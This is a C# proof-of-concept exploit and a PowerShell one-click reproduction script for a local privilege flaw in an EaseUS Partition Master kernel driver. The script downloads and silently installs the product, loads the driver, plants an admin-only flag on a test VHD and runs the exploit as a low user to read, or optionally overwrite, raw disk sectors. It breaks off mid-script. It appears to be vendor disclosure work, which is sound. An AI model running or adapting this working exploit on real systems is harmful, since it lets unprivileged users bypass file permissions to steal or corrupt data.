private static extern bool ReadFile(SafeFileHandle hFile, IntPtr lpBuffer, int nNumberOfBytesToRead, out int lpNumberOfBytesRead, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteFile(SafeFileHandle hFile, IntPtr lpBuffer, int nNumberOfBytesToWrite, out int lpNumberOfBytesWritten, IntPtr lpOverlapped);
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr processHandle, int desiredAccess, out IntPtr tokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool GetTokenInformation(IntPtr tokenHandle, int tokenInformationClass, IntPtr tokenInformation, int tokenInformationLength, out int returnLength);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority);
private static int Main(string[] args)
{
try
{
Options opt = Options.Parse(args);
if (opt == null)
{
Usage();
return 2;
}
PrintIdentity();
if (!string.IsNullOrEmpty(opt.FlagPath))
{
BaselineProtectedFile(opt.FlagPath);
}
BaselineRawDisk(opt.Disk);
string devicePath = @"\\.\" + opt.Device + @"\" + opt.Disk;
using (SafeFileHandle h = OpenForwarder(devicePath))
{
if (h.IsInvalid)
{
Console.Error.WriteLine("[DRIVER] open=FAILED path={0} error={1}", devicePath, Marshal.GetLastWin32Error());
return 1;
}
Console.WriteLine("[DRIVER] open=SUCCESS path={0}", devicePath);
if (opt.Mode == "read")
{
int reportedBytes;
byte[] data = RawRead(h, opt.OffsetBytes, checked((int)opt.LengthBytes), out reportedBytes);
File.WriteAllBytes(opt.OutPath, data);
string prefix = AsciiPreview(data, 256);
bool found = !string.IsNullOrEmpty(opt.ExpectMarker) && Encoding.ASCII.GetString(data).Contains(opt.ExpectMarker);
Console.WriteLine("[EXPLOIT_READ] success=True device={0} disk={1} offset={2} requested_bytes={3} driver_reported_bytes={4} out={5}", opt.Device, opt.Disk, opt.OffsetBytes, data.Length, reportedBytes, opt.OutPath);
Console.WriteLine("[EXPLOIT_READ] prefix={0}", prefix);
if (!string.IsNullOrEmpty(opt.ExpectMarker))
{
Console.WriteLine("[RESULT] read_marker_found={0}", found);
return found ? 0 : 3;
}
return 0;
}
byte[] payload = MakePayload(opt.WriteMarker, checked((int)opt.LengthBytes));
int writeReportedBytes = RawWrite(h, opt.OffsetBytes, payload);
Console.WriteLine("[EXPLOIT_WRITE] success=True device={0} disk={1} offset={2} requested_bytes={3} driver_reported_bytes={4}", opt.Device, opt.Disk, opt.OffsetBytes, payload.Length, writeReportedBytes);
Console.WriteLine("[EXPLOIT_WRITE] marker={0}", opt.WriteMarker);
Console.WriteLine("[RESULT] write_succeeded=True");
return 0;
}
}
catch (Exception ex)
{
Console.Error.WriteLine("[ERROR] {0}: {1}", ex.GetType().Name, ex.Message);
return 1;
}
}
private static SafeFileHandle OpenForwarder(string devicePath)
{
return CreateFileW(devicePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
}
private static byte[] RawRead(SafeFileHandle h, ulong offset, int length, out int reportedBytes)
{
if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
{
throw new InvalidOperationException("SetFilePointerEx failed: " + Marshal.GetLastWin32Error());
}
IntPtr buf = Marshal.AllocHGlobal(length);
try
{
ZeroMemory(buf, length);
if (!ReadFile(h, buf, length, out reportedBytes, IntPtr.Zero))
{
throw new InvalidOperationException("ReadFile through vendor device failed: " + Marshal.GetLastWin32Error());
}
byte[] data = new byte[length];
Marshal.Copy(buf, data, 0, length);
return data;
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
private static int RawWrite(SafeFileHandle h, ulong offset, byte[] payload)
{
if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
{
throw new InvalidOperationException("SetFilePointerEx failed: " + Marshal.GetLastWin32Error());
}
IntPtr buf = Marshal.AllocHGlobal(payload.Length);
try
{
Marshal.Copy(payload, 0, buf, payload.Length);
int wrote;
bool ok = WriteFile(h, buf, payload.Length, out wrote, IntPtr.Zero);
int lastError = Marshal.GetLastWin32Error();
if (!ok)
{
throw new InvalidOperationException("WriteFile through vendor device failed: " + lastError);
}
if (wrote < payload.Length)
{
throw new InvalidOperationException("WriteFile through vendor device reported too few bytes: requested=" + payload.Length + " reported=" + wrote + " error=" + lastError);
}
if (wrote != payload.Length)
{
Console.WriteLine("[WRITE_ATTEMPT] result=SUCCESS_NONSTANDARD_BYTE_COUNT requested_bytes={0} driver_reported_bytes={1}", payload.Length, wrote);
}
else
{
Console.WriteLine("[WRITE_ATTEMPT] result=SUCCESS requested_bytes={0} driver_reported_bytes={1}", payload.Length, wrote);
}
return wrote;
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
private static void BaselineProtectedFile(string path)
{
try
{
File.ReadAllBytes(path);
Console.WriteLine("[BASELINE] protected_read=UNEXPECTED_SUCCESS path={0}", path);
}
catch (Exception ex)
{
Console.WriteLine("[BASELINE] protected_read=DENIED path={0} error={1}", path, ex.Message);
}
try
{
File.WriteAllText(path, "SHOULD-NOT-WRITE");
Console.WriteLine("[BASELINE] protected_write=UNEXPECTED_SUCCESS path={0}", path);
}
catch (Exception ex)
{
Console.WriteLine("[BASELINE] protected_write=DENIED path={0} error={1}", path, ex.Message);
}
}
private static void BaselineRawDisk(uint disk)
{
string path = @"\\.\" + "PhysicalDrive" + disk;
using (SafeFileHandle h = CreateFileW(path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero))
{
if (h.IsInvalid)
{
Console.WriteLine("[BASELINE] raw_disk_open=DENIED path={0} error={1}", path, Marshal.GetLastWin32Error());
}
else
{
Console.WriteLine("[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path={0}", path);
}
}
}
private static void PrintIdentity()
{
WindowsIdentity id = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(id);
Console.WriteLine("[IDENTITY] user={0}", id.Name);
Console.WriteLine("[IDENTITY] is_administrator={0}", principal.IsInRole(WindowsBuiltInRole.Administrator));
Console.WriteLine("[IDENTITY] integrity={0}", GetIntegrityLevel());
}
private static string GetIntegrityLevel()
{
IntPtr token;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, out token)) return "unknown";
try
{
int needed;
GetTokenInformation(token, TokenIntegrityLevel, IntPtr.Zero, 0, out needed);
IntPtr buf = Marshal.AllocHGlobal(needed);
try
{
if (!GetTokenInformation(token, TokenIntegrityLevel, buf, needed, out needed)) return "unknown";
IntPtr sid = Marshal.ReadIntPtr(buf);
int count = Marshal.ReadByte(GetSidSubAuthorityCount(sid));
int rid = Marshal.ReadInt32(GetSidSubAuthority(sid, (uint)(count - 1)));
if (rid >= 0x4000) return "System";
if (rid >= 0x3000) return "High";
if (rid >= 0x2000) return "Medium";
if (rid >= 0x1000) return "Low";
return "Untrusted";
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
finally
{
CloseHandle(token);
}
}
private static byte[] MakePayload(string marker, int length)
{
if (string.IsNullOrEmpty(marker)) throw new ArgumentException("--write-marker is required.");
byte[] payload = new byte[length];
byte[] markerBytes = Encoding.ASCII.GetBytes(marker);
Array.Copy(markerBytes, payload, Math.Min(markerBytes.Length, payload.Length));
for (int i = markerBytes.Length; i < payload.Length; i++) payload[i] = 0x42;
return payload;
}
private static string AsciiPreview(byte[] data, int max)
{
int len = Math.Min(data.Length, max);
return Encoding.ASCII.GetString(data, 0, len).Replace("\0", "\\0").Replace("\r", "\\r").Replace("\n", "\\n");
}
private static void ZeroMemory(IntPtr ptr, int length)
{
byte[] zeros = new byte[Math.Min(4096, length)];
int offset = 0;
while (offset < length)
{
int chunk = Math.Min(zeros.Length, length - offset);
Marshal.Copy(zeros, 0, IntPtr.Add(ptr, offset), chunk);
offset += chunk;
}
}
private static void Usage()
{
Console.Error.WriteLine("Usage:");
Console.Error.WriteLine(" easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV --mode read --disk N --offset BYTES --length BYTES --flag-path PATH --expect-marker MARKER --out OUT.bin");
Console.Error.WriteLine(" easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV --mode write --disk N --offset BYTES --length BYTES --write-marker MARKER");
Console.Error.WriteLine(" --device may be EPMNTDRV or EUEDKEPM when the matching driver is loaded.");
}
private sealed class Options
{
public string Device = "EPMNTDRV";
public string Mode = "read";
public uint Disk;
public ulong OffsetBytes;
public ulong LengthBytes;
public string FlagPath;
public string ExpectMarker;
public string WriteMarker;
public string OutPath;
public static Options Parse(string[] args)
{
Options opt = new Options();
for (int i = 0; i < args.Length; i++)
{
string a = args[i].ToLowerInvariant();
if (a == "--device" && i + 1 < args.Length) opt.Device = args[++i];
else if (a == "--mode" && i + 1 < args.Length) opt.Mode = args[++i].ToLowerInvariant();
else if (a == "--disk" && i + 1 < args.Length) opt.Disk = UInt32.Parse(args[++i]);
else if (a == "--offset" && i + 1 < args.Length) opt.OffsetBytes = UInt64.Parse(args[++i]);
else if (a == "--length" && i + 1 < args.Length) opt.LengthBytes = UInt64.Parse(args[++i]);
else if (a == "--flag-path" && i + 1 < args.Length) opt.FlagPath = args[++i];
else if (a == "--expect-marker" && i + 1 < args.Length) opt.ExpectMarker = args[++i];
else if (a == "--write-marker" && i + 1 < args.Length) opt.WriteMarker = args[++i];
else if (a == "--out" && i + 1 < args.Length) opt.OutPath = args[++i];
else return null;
}
if (opt.Mode != "read" && opt.Mode != "write") return null;
if (string.IsNullOrWhiteSpace(opt.Device)) return null;
foreach (char c in opt.Device)
{
if (!char.IsLetterOrDigit(c) && c != '_' && c != '-') return null;
}
if (opt.LengthBytes == 0) return null;
if (opt.Mode == "read" && string.IsNullOrEmpty(opt.OutPath)) return null;
if (opt.Mode == "write" && string.IsNullOrEmpty(opt.WriteMarker)) return null;
return opt;
}
}
}
repro_one_click.ps1
[CmdletBinding()]
param(
[string]$RepoRoot,
[string]$LowUser = 'EXPDEV\low',
[System.Management.Automation.PSCredential]$LowCredential,
[switch]$UseEnvPassword,
[switch]$AttemptWrite,
[switch]$SkipCleanup
)
$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'
function Assert-Admin {
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = [Security.Principal.WindowsPrincipal]::new($identity)
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
throw 'Run from an elevated PowerShell session.'
}
}
function Get-LowCredential {
if ($LowCredential) { return $LowCredential }
if ($UseEnvPassword) {
$plain = [Environment]::GetEnvironmentVariable('VENDOR_REPRO_LOW_PASSWORD')
if ([string]::IsNullOrWhiteSpace($plain)) { throw 'VENDOR_REPRO_LOW_PASSWORD is not set.' }
return [System.Management.Automation.PSCredential]::new($LowUser, (ConvertTo-SecureString $plain -AsPlainText -Force))
}
return Get-Credential -UserName $LowUser -Message 'Credential for the standard test user'
}
function Download-Installer([string]$OutPath) {
if (Test-Path $OutPath) { return }
New-Item -ItemType Directory -Force -Path (Split-Path $OutPath -Parent) | Out-Null
Invoke-WebRequest -Uri 'http://download.easeus.com/free/epm.exe' -OutFile $OutPath -UseBasicParsing -TimeoutSec 240 -Headers @{ 'User-Agent'='Mozilla/5.0' }
}
function Compile-Exploit([string]$SourcePath, [string]$ExePath) {
$csc = "$env:WINDIR\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
if (!(Test-Path $csc)) { throw "C# compiler not found: $csc" }
New-Item -ItemType Directory -Force -Path (Split-Path $ExePath -Parent) | Out-Null
& $csc /nologo /optimize+ /platform:x64 /target:exe "/out:$ExePath" $SourcePath
if ($LASTEXITCODE -ne 0) { throw 'Exploit compilation failed.' }
}
function Run-Low {
param(
[string]$Name,
[string]$FilePath,
[string[]]$ArgumentList,
[string]$Stdout,
[string]$Stderr,
[System.Management.Automation.PSCredential]$Credential,
[string]$StatusPath,
[switch]$AllowFailure
)
$p = Start-Process -FilePath $FilePath -ArgumentList $ArgumentList -Credential $Credential -LoadUserProfile -WindowStyle Hidden -Wait -PassThru -RedirectStandardOutput $Stdout -RedirectStandardError $Stderr
"$Name exit=$($p.ExitCode)" | Add-Content -LiteralPath $StatusPath -Encoding ascii
if ($p.ExitCode -ne 0 -and -not $AllowFailure) { throw "$Name failed with exit code $($p.ExitCode)." }
return $p.ExitCode
}
function Stop-ProductProcesses([string]$InstallDir, [string]$EvidenceDir, [string]$LogName) {
$log = Join-Path $EvidenceDir $LogName
"Process cleanup started: $(Get-Date -Format o)" | Set-Content -LiteralPath $log -Encoding ascii
Get-Process | Where-Object { $_.Path -and $_.Path.StartsWith($InstallDir, [StringComparison]::OrdinalIgnoreCase) } | ForEach-Object {
"Stopping process $($_.Id) $($_.ProcessName) $($_.Path)" | Add-Content -LiteralPath $log -Encoding ascii
Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue
}
}
function Remove-OrphanProductRegistry([string]$InstallDir, [string]$EvidenceDir, [string]$LogName) {
$log = Join-Path $EvidenceDir $LogName
"Registry cleanup started: $(Get-Date -Format o)" | Set-Content -LiteralPath $log -Encoding ascii
$keys = 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'
Get-ItemProperty $keys -ErrorAction SilentlyContinue | Where-Object {
$_.DisplayName -match 'EaseUS Partition Master' -and $_.InstallLocation -like "$InstallDir*"
} | ForEach-Object {
"Removing orphan uninstall key $($_.PSPath)" | Add-Content -LiteralPath $log -Encoding ascii
Remove-Item -LiteralPath $_.PSPath -Recurse -Force -ErrorAction SilentlyContinue
}
}
function Install-Product([string]$Installer, [string]$InstallDir, [string]$EvidenceDir) {
Stop-ProductProcesses -InstallDir $InstallDir -EvidenceDir $EvidenceDir -LogName 'process_cleanup_before_install.txt'
Remove-OrphanProductRegistry -InstallDir $InstallDir -EvidenceDir $EvidenceDir -LogName 'registry_cleanup_before_install.txt'
Remove-Item -LiteralPath $InstallDir -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $InstallDir | Out-Null
$installLog = Join-Path $EvidenceDir 'installer.log'
$p = Start-Process -FilePath $Installer -ArgumentList @('/VERYSILENT','/SUPPRESSMSGBOXES','/NORESTART','/SP-',"/DIR=$InstallDir","/LOG=$installLog") -WindowStyle Hidden -PassThru
if (-not $p.WaitForExit(240000)) {
Stop-Process -Id $p.Id -Force -ErrorAction SilentlyContinue
throw 'EaseUS Partition Master installer timed out.'
}
"installer exit=$($p.ExitCode)" | Set-Content -LiteralPath (Join-Path $EvidenceDir 'installer_status.txt') -Encoding ascii
return $p.ExitCode
}
function Find-Driver([string]$InstallDir, [string]$DriverName) {
$roots = @(
(Join-Path $env:WINDIR 'System32\drivers'),
(Join-Path $env:WINDIR 'System32'),
$InstallDir,
(Join-Path $env:WINDIR 'SysWOW64')
) | Where-Object { Test-Path $_ }
foreach ($root in $roots) {
$driver = Get-ChildItem -Path $root -Recurse -ErrorAction SilentlyContinue -Filter $DriverName | Select-Object -First 1
if ($driver) { return $driver }
}
return $null
}
function Convert-DriverPath([string]$PathName) {
if ([string]::IsNullOrWhiteSpace($PathName)) { return $null }
$path = $PathName.Trim().Trim('"')
if ($path.StartsWith('\??\', [StringComparison]::OrdinalIgnoreCase)) { $path = $path.Substring(4) }
if ($path.StartsWith('\SystemRoot\', [StringComparison]::OrdinalIgnoreCase)) { $path = Join-Path $env:WINDIR $path.Substring(12) }
if ($path.StartsWith('System32\', [StringComparison]::OrdinalIgnoreCase)) { $path = Join-Path $env:WINDIR $path }
return $path
}
function Get-ActiveDriverFile([string]$ServiceName) {
$driver = Get-CimInstance Win32_SystemDriver -ErrorAction SilentlyContinue | Where-Object { $_.Name -ieq $ServiceName -and $_.Started } | Select-Object -First 1
if (-not $driver) { return $null }
$path = Convert-DriverPath $driver.PathName
if ($path -and (Test-Path $path)) { return Get-Item $path }
return $null
}
function Ensure-DriverLoaded([string]$DriverPath, [string]$EvidenceDir) {
$log = Join-Path $EvidenceDir 'driver_service_load.txt'
"Driver path: $DriverPath" | Set-Content -LiteralPath $log -Encoding ascii
$active = Get-ActiveDriverFile -ServiceName 'EUEDKEPM'
if ($active) {
"Existing product driver service is already running: $($active.FullName)" | Add-Content -LiteralPath $log -Encoding ascii
return [pscustomobject]@{
DriverPath = $active.FullName
LoadMethod = 'Official EaseUS installer loaded the EUEDKEPM product kernel service.'
}
}
(& sc.exe stop EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
(& sc.exe delete EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
(& sc.exe create EUEDKEPMRepro type= kernel start= demand binPath= $DriverPath 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
(& reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\EUEDKEPMRepro /v DeviceName /t REG_SZ /d EUEDKEPM /f 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
(& sc.exe start EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
(& sc.exe query EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
(& sc.exe qc EUEDKEPMRepro 2>&1) | Out-File -LiteralPath (Join-Path $EvidenceDir 'driver_service_config.txt') -Encoding ascii
$active = Get-ActiveDriverFile -ServiceName 'EUEDKEPMRepro'
if ($active) {
return [pscustomobject]@{
DriverPath = $active.FullName
LoadMethod = 'Installed EUEDKEPM.sys was loaded with the temporary EUEDKEPMRepro kernel service.'
}
}
return [pscustomobject]@{
DriverPath = $DriverPath
LoadMethod = 'Temporary EUEDKEPMRepro kernel service load was attempted; see driver_service_load.txt.'
}
}
function Create-Vhd([string]$WorkRoot, [string]$EvidenceDir) {
$vhd = Join-Path $WorkRoot 'controlled_disk.vhd'
$script = Join-Path $WorkRoot 'create_vhd.diskpart'
@"
create vdisk file="$vhd" maximum=96 type=fixed
select vdisk file="$vhd"
attach vdisk
create partition primary
"@ | Set-Content -LiteralPath $script -Encoding ascii
(& diskpart.exe /s $script) | Out-File -LiteralPath (Join-Path $EvidenceDir 'diskpart_create.txt') -Encoding ascii
$disk = Get-DiskImage -ImagePath $vhd | Get-Disk
$partition = Get-Partition -DiskNumber $disk.Number | Where-Object { $_.Type -ne 'Reserved' } | Select-Object -First 1
$partition | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir 'partition_before_format.txt') -Encoding ascii
$partition | Set-Partition -NewDriveLetter R
Format-Volume -DriveLetter R -FileSystem NTFS -NewFileSystemLabel EASEUSREPRO -Confirm:$false -Force | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir 'format_volume.txt') -Encoding ascii
return $disk.Number
}
function New-ProtectedFlag([uint32]$DiskNumber, [string]$WorkRoot, [string]$EvidenceDir) {
New-Item -ItemType Directory -Force -Path 'R:\protected' | Out-Null
$marker = 'EASEUS-EUEDKEPM-PROTECTED-FLAG-' + [guid]::NewGuid().ToString()
$bytes = New-Object byte[] 20480
$markerBytes = [Text.Encoding]::ASCII.GetBytes($marker)
[Array]::Copy($markerBytes, 0, $bytes, 0, $markerBytes.Length)
for ($i = $markerBytes.Length; $i -lt $bytes.Length; $i++) { $bytes[$i] = 0x41 }
$flag = 'R:\protected\admin_only_flag.bin'
$fs = [IO.FileStream]::new($flag, [IO.FileMode]::Create, [IO.FileAccess]::ReadWrite, [IO.FileShare]::Read, 4096, [IO.FileOptions]::WriteThrough)
try {
$fs.Write($bytes, 0, $bytes.Length)
$fs.Flush($true)
} finally {
$fs.Dispose()
}
(& icacls.exe $flag /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F') | Out-File -LiteralPath (Join-Path $EvidenceDir 'flag_acl_set.txt') -Encoding ascii
(& icacls.exe $flag) | Out-File -LiteralPath (Join-Path $EvidenceDir 'flag_acl.txt') -Encoding ascii
$ntfs = (fsutil fsinfo ntfsinfo R:) 2>&1
$extents = (fsutil file queryextents $flag) 2>&1
$ntfs | Out-File -LiteralPath (Join-Path $EvidenceDir 'ntfs_info.txt') -Encoding ascii
$extents | Out-File -LiteralPath (Join-Path $EvidenceDir 'file_extents.txt') -Encoding ascii
[uint64]$bytesPerCluster = 0
foreach ($line in $ntfs) { if ($line -match 'Bytes Per Cluster\s*:\s*(\d+)') { $bytesPerCluster = [uint64]$Matches[1] } }
$lcn = $null; $clusters = $null
foreach ($line in $extents) {
if ($line -match 'VCN:\s*0x[0-9a-fA-F]+\s+Clusters:\s*0x([0-9a-fA-F]+)\s+LCN:\s*0x([0-9a-fA-F]+)') {
$clusters = [Convert]::ToUInt64($Matches[1], 16)
$lcn = [Convert]::ToUInt64($Matches[2], 16)
break
}
}
if ($bytesPerCluster -eq 0 -or $null -eq $lcn) { throw 'Could not parse NTFS data run.' }
$partition = Get-Partition -DriveLetter R
[uint64]$diskOffset = [uint64]$partition.Offset + ($lcn * $bytesPerCluster)
[uint64]$runLength = $clusters * $bytesPerCluster
$meta = [pscustomobject]@{
marker = $marker
vhd_path = (Join-Path $WorkRoot 'controlled_disk.vhd')
disk_number = $DiskNumber
drive_letter = 'R'
partition_offset = [uint64]$partition.Offset
bytes_per_cluster = $bytesPerCluster
first_lcn = $lcn
first_run_clusters = $clusters
disk_offset = $diskOffset
run_length = $runLength
protected_file = $flag
}
$meta | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir 'test_object_metadata.json') -Encoding ascii
return $meta
}
function Cleanup-Repro([string]$WorkRoot, [string]$InstallDir, [string]$EvidenceDir) {
$cleanup = Join-Path $EvidenceDir 'cleanup_log.txt'
"Cleanup started: $(Get-Date -Format o)" | Set-Content -LiteralPath $cleanup -Encoding ascii
try {
$vhd = Join-Path $WorkRoot 'controlled_disk.vhd'
if (Test-Path $vhd) { Dismount-DiskImage -ImagePath $vhd -ErrorAction SilentlyContinue | Out-File -LiteralPath $cleanup -Append -Encoding ascii }
(& sc.exe stop EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
(& sc.exe delete EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
Stop-ProductProcesses -InstallDir $InstallDir -EvidenceDir $EvidenceDir -LogName 'process_cleanup_before_uninstall.txt'
$uninstallerPath = $null
$uninstaller = Get-ChildItem -Path $InstallDir -Recurse -ErrorAction SilentlyContinue -Filter 'unins*.exe' | Select-Object -First 1
if ($uninstaller) { $uninstallerPath = $uninstaller.FullName }
if (-not $uninstallerPath) {
$keys = 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'
$entry = Get-ItemProperty $keys -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'EaseUS Partition Master' -and $_.InstallLocation -like "$InstallDir*" } | Select-Object -First 1
if ($entry -and $entry.UninstallString -match '"([^"]+)"') { $uninstallerPath = $Matches[1] }
}
if ($uninstallerPath -and (Test-Path $uninstallerPath)) {
$p = Start-Process -FilePath $uninstallerPath -ArgumentList @('/VERYSILENT','/SUPPRESSMSGBOXES','/NORESTART') -WindowStyle Hidden -PassThru
if ($p.WaitForExit(180000)) {
"uninstaller exit=$($p.ExitCode)" | Add-Content -LiteralPath $cleanup -Encoding ascii
} else {
Stop-Process -Id $p.Id -Force -ErrorAction SilentlyContinue
'uninstaller timed out' | Add-Content -LiteralPath $cleanup -Encoding ascii
}
} else {
'uninstaller not found; product process cleanup and test directory removal attempted only' | Add-Content -LiteralPath $cleanup -Encoding ascii
}
Remove-OrphanProductRegistry -InstallDir $InstallDir -EvidenceDir $EvidenceDir -LogName 'registry_cleanup_after_uninstall.txt'
Remove-Item -LiteralPath $WorkRoot, $InstallDir -Recurse -Force -ErrorAction SilentlyContinue
} finally {
"WorkRoot exists after cleanup: $(Test-Path $WorkRoot)" | Add-Content -LiteralPath $cleanup -Encoding ascii
"InstallDir exists after cleanup: $(Test-Path $InstallDir)" | Add-Content -LiteralPath $cleanup -Encoding ascii
"EUEDKEPMRepro service query after cleanup:" | Add-Content -LiteralPath $cleanup -Encoding ascii
(& sc.exe query EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
}
}
Assert-Admin
$credential = Get-LowCredential
$packageDir = $PSScriptRoot
if ([string]::IsNullOrWhiteSpace($RepoRoot)) { $RepoRoot = (Resolve-Path (Join-Path $packageDir '..\..\..')).Path }
$workRoot = 'C:\ProgramData\VendorRepro\easeus_euedkepm'
$evidenceTemp = 'C:\ProgramData\VendorRepro\easeus_euedkepm_evidence'
$installDir = 'C:\ProgramData\VendorRepro\easeus_partition_master'
$finalEvidence = Join-Path $packageDir 'evidence'
$installer = Join-Path $RepoRoot 'dev\downloads\easeus_epm\epm.exe'
$exploitSource = Join-Path $RepoRoot 'dev\poc\easeus_raw_forwarder_flag_rw_exploit.cs'
$exploitExe = Join-Path $RepoRoot 'dev\poc\bin\easeus_raw_forwarder_flag_rw_exploit.exe'
Remove-Item -LiteralPath $evidenceTemp -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $workRoot, $evidenceTemp | Out-Null
(& icacls.exe $workRoot /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-Path $evidenceTemp 'runtime_acl_setup.txt') -Encoding ascii
(& icacls.exe $evidenceTemp /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-Path $evidenceTemp 'evidence_acl_setup.txt') -Encoding ascii
try {
Download-Installer $installer
Compile-Exploit $exploitSource $exploitExe
$installExit = Install-Product -Installer $installer -InstallDir $installDir -EvidenceDir $evidenceTemp
if ($installExit -ne 0) {
"Installer returned exit code $installExit; continuing only if the expected installed driver is already present." | Set-Content -LiteralPath (Join-Path $evidenceTemp 'installer_nonzero_continue.txt') -Encoding ascii
}
$driver = Find-Driver -InstallDir $installDir -DriverName 'EUEDKEPM.sys'
if (-not $driver) { throw 'EUEDKEPM.sys was not found after installation.' }
$loadInfo = Ensure-DriverLoaded -DriverPath $driver.FullName -EvidenceDir $evidenceTemp
$driver = Get-Item -LiteralPath $loadInfo.DriverPath
$diskNumber = Create-Vhd -WorkRoot $workRoot -EvidenceDir $evidenceTemp
$meta = New-ProtectedFlag -DiskNumber ([uint32]$diskNumber) -WorkRoot $workRoot -EvidenceDir $evidenceTemp
$status = Join-Path $evidenceTemp 'low_run_status.txt'
'EaseUS EUEDKEPM low-user EXP run status' | Set-Content -LiteralPath $status -Encoding ascii
$readOut = Join-Path $evidenceTemp 'exploit_read_clusters.bin'
$null = Run-Low -Name 'low_exp_read' -FilePath $exploitExe -Credential $credential -StatusPath $status `
-Stdout (Join-Path $evidenceTemp 'low_exp_read_stdout.txt') `
-Stderr (Join-Path $evidenceTemp 'low_exp_read_stderr.txt') `
-ArgumentList @('--device','EUEDKEPM','--mode','read','--disk',[string]$meta.disk_number,'--offset',[string]$meta.disk_offset,'--length',[string]$meta.run_length,'--flag-path',$meta.protected_file,'--expect-marker',$meta.marker,'--out',$readOut)
$installerSig = Get-AuthenticodeSignature $installer
$driverSig = Get-AuthenticodeSignature $driver.FullName
[pscustomobject]@{
product = 'EaseUS Partition Master'
product_version = (Get-Item $installer).VersionInfo.ProductVersion
download_url = 'http://download.easeus.com/free/epm.exe'
file_name = 'epm.exe'
installer_sha256 = (Get-FileHash $installer -Algorithm SHA256).Hash
installer_signature_status = $installerSig.Status.ToString()
installer_signer_subject = $installerSig.SignerCertificate.Subject
driver_name = 'EUEDKEPM.sys'
driver_path = $driver.FullName
driver_sha256 = (Get-FileHash $driver.FullName -Algorithm SHA256).Hash
driver_signature_status = $driverSig.Status.ToString()
driver_signer_subject = $driverSig.SignerCertificate.Subject
driver_load_method = $loadInfo.LoadMethod
low_exploit = 'easeus_raw_forwarder_flag_rw_exploit.exe'
low_exploit_sha256 = (Get-FileHash $exploitExe -Algorithm SHA256).Hash
device_path = '\\.\EUEDKEPM\<disk>'
} | ConvertTo-Json -Depth 4 | Set-Content -LiteralPath (Join-Path $evidenceTemp 'product_driver_metadata.json') -Encoding ascii
if ($AttemptWrite) {
try {
$writeMarker = 'EASEUS-EUEDKEPM-WRITE-FLAG-' + [guid]::NewGuid().ToString()
[pscustomobject]@{ write_marker = $writeMarker; disk_number = $meta.disk_number; disk_offset = $meta.disk_offset; run_length = $meta.run_length } | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_marker_metadata.json') -Encoding ascii
(& mountvol.exe R: /p) | Out-File -LiteralPath (Join-Path $evidenceTemp 'volume_dismount_before_write.txt') -Encoding ascii
Start-Sleep -Seconds 2
$writeExit = Run-Low -Name 'low_exp_write' -FilePath $exploitExe -Credential $credential -StatusPath $status -AllowFailure `
-Stdout (Join-Path $evidenceTemp 'low_exp_write_stdout.txt') `
-Stderr (Join-Path $evidenceTemp 'low_exp_write_stderr.txt') `
-ArgumentList @('--device','EUEDKEPM','--mode','write','--disk',[string]$meta.disk_number,'--offset',[string]$meta.disk_offset,'--length',[string]$meta.run_length,'--write-marker',$writeMarker)
